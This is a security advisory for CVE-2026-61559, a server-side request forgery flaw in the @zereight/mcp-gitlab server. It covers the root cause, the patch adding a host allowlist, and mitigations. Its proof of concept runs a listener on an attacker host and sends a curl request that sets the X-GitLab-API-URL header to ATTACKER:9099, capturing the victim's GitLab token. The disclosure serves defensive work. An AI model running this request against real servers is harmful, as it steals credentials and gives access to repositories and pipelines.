CVE-2026-61559: @zereight/mcp-gitlab Server-Side Request Forgery via X-GitLab-API-URL Header
When dynamic API URL support is enabled, any caller can redirect the GitLab MCP server's outbound API calls to an attacker-controlled host and steal the server's GitLab token in a single request.

The problem
All versions of @zereight/mcp-gitlab before 2.1.27 accept an X-GitLab-API-URL request header and use it as the base URL for outbound GitLab API calls when ENABLE_DYNAMIC_API_URL=true. The server validates only that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction.
Every outbound fetch then carries Private-Token: <victim_token> to whatever host the header names. An attacker who can reach the HTTP transport can redirect those credential-carrying calls to a host they control and receive the GitLab Personal Access Token or CI/CD job token in one request.
With the stolen token they gain the victim's full GitLab API access: read of all repositories and secrets, plus write to push code and modify pipelines.
Proof of concept
A working proof-of-concept for CVE-2026-61559 in @zereight/mcp-gitlab, with the exact payload below.
# 1. Start a listener on the attacker host
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print('HEADERS:', dict(self.headers))
self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"
# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
# Attacker listener receives:
# GET /api/v4/projects/1/issues HTTP/1.1
# private-token: <VICTIM_GITLAB_TOKEN>
# Host: ATTACKER:9099The root cause is a missing allowlist check at two sinks in index.ts: the SSE handler (line 11541) and the Streamable HTTP handler's parseAuthHeaders (line 11787). Both read X-GitLab-API-URL, call normalizeGitLabApiUrl() on it, and assign the result to apiUrl, which then flows into getEffectiveApiUrl() and getFetchConfig().
The only guard in the Streamable HTTP path is new URL(dynamicApiUrl), a syntax-only check that accepts any reachable hostname.
The patch (commit 6ffb4cc, PR #625) added a GITLAB_ALLOWED_HOSTS environment variable. At both sink locations the patched code parses the header URL, extracts the hostname, and throws if that hostname is not in the allowlist, blocking the token-forwarding path before apiUrl is reassigned.
CWE-918 (SSRF) applies directly: untrusted input controls the destination of a server-side HTTP request that carries credentials.
The fix
Upgrade to @zereight/mcp-gitlab >= 2.1.27 (npm). The patch (commit 6ffb4cc) validates X-GitLab-API-URL against a GITLAB_ALLOWED_HOSTS comma-separated allowlist at both the SSE and Streamable HTTP handler sinks. Set GITLAB_ALLOWED_HOSTS to your trusted GitLab hostname(s).
If you cannot upgrade immediately, set ENABLE_DYNAMIC_API_URL=false (or leave it unset, as false is the default) to disable the feature entirely.
Reported by Pluto Security.
Related research
- high · 8.1@zereight/mcp-gitlab: GraphQL Read-Only Bypass, Unauthenticated Transports, and Session-Exhaustion DoS
- critical · 9.6CVE-2026-61568CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding via Missing Host/Origin Validation
- high · 8.5CVE-2026-59973CVE-2026-59973: mcp-from-openapi OpenAPI $ref SSRF Filter Bypass
- highCVE-2026-88056CVE-2026-88056: @angular/platform-server SSRF via Unicode Whitespace Trim Bypass